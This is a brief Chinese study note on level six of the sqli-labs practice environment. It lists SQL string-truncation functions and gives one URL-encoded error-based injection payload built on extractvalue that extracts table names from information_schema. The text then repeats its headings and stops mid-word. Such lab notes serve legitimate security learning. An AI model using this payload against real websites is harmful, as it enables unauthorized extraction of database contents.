sqllab第六关通关笔记

知识点：

报错注入回顾 原始语句测试 截取函数 mid(字符串，起始位置，长度) substr(字符串，起始位置，长度) left(字符串，长度) right(字符串，长度) 加入截取控制的错误注入payload payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+ 关键表信息回顾 报错注入回顾 原始语句测试 截取函数 mid(字符串，起始位置，长度) substr(字符